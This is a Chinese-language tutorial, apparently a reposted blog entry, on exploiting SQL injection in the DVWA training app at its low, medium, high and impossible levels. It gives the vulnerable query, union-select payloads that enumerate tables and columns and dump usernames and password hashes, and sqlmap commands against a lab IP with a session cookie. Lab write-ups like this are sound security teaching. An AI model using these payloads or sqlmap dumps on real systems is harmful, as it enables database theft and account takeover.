DVWA SQL Injection(回显注入)全等级

2021/12/20 2:20:35

本文主要是介绍DVWA SQL Injection(回显注入)全等级,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

SQL Injection(回显注入)

目录:

    • SQL Injection(回显注入)
      • 1. Low
      • 2.Medium
      • 3. High
      • 4.Impossible
      • 5.运用sqlmap自动化注入
        • 1.查看信息
        • 2.查看数据库名
        • 3.查看表名
        • 4.查看字段名
        • 5.查看字段数据
        • 登录

注入思路:

是否有注入?是字符型还是数字型?查看回显位

1. Low

源码关键语句

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

通过查询语句可以看到,它是根据限制user_id字段来回显数据的,

我们的可控位置就是$id这个变量

可以通过单引号闭合,然后通过#注释掉之后的语句来实现sql注入

例如

$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select user,password from users #’;”;

获取表长度

1’ order by n #

在这里插入图片描述

获取当前数据库
-1’ union select database(),version() #

在这里插入图片描述

查询database里的表名

information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。

-1’ union select 1,table_name COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #

在这里插入图片描述

查询users里的列名
-1’ union select 1,column_name COLLATE utf8_general_ci from information_schema.columns where table_name=‘users’ #

在这里插入图片描述

查看字段数据
-1’ union select user,password from users #

在这里插入图片描述

2.Medium

只能选择固定的几个数字

添加了mysqli_real_escape_string() 函数,过滤了一些特殊字符

查看源码发现是数字型注入

可以用burp抓包,在burp里注入

burp重复Low级的操作,但是注意是数字型数据,所以不要用单引号闭合

在这里插入图片描述

3. High

多了LIMIT 1,SELECT只能执行一条查询语句。

绕过非常简单,只要#注释掉后面的语句就行了。

在搜索框或者burp实行和Low级别一样的操作就行了。

在这里插入图片描述

4.Impossible

只能输入数字,不可能产生注入。

5.运用sqlmap自动化注入

1.查看信息

首先-u指定可能存在url注入的url地址,然后–cookie指定cookie值

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low"

在这里插入图片描述

结果:

在这里插入图片描述

可以查看到靶机的一些信息。

2.查看数据库名

–dbs参数代表查看存在的数据库名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" --dbs

在这里插入图片描述

结果:

在这里插入图片描述

3.查看表名

-D指定数据库名为dvwa,–tables查看表名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa --tables

在这里插入图片描述

结果:

user表明显是存放用户数据的表,所以下一步查看此表数据

在这里插入图片描述

4.查看字段名

-T指定表名,–columns 查看字段名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users --columns

在这里插入图片描述

结果:

可以查看存在password字段

在这里插入图片描述

5.查看字段数据

-C指定查看的字段名,–dump查看字段数据

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users -C "user,password" --dump

在这里插入图片描述

结果:

在这里插入图片描述

登录

尝试拿获取的数据登录

在这里插入图片描述

登陆成功,用户名为gordonb

在这里插入图片描述



这篇关于DVWA SQL Injection(回显注入)全等级的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程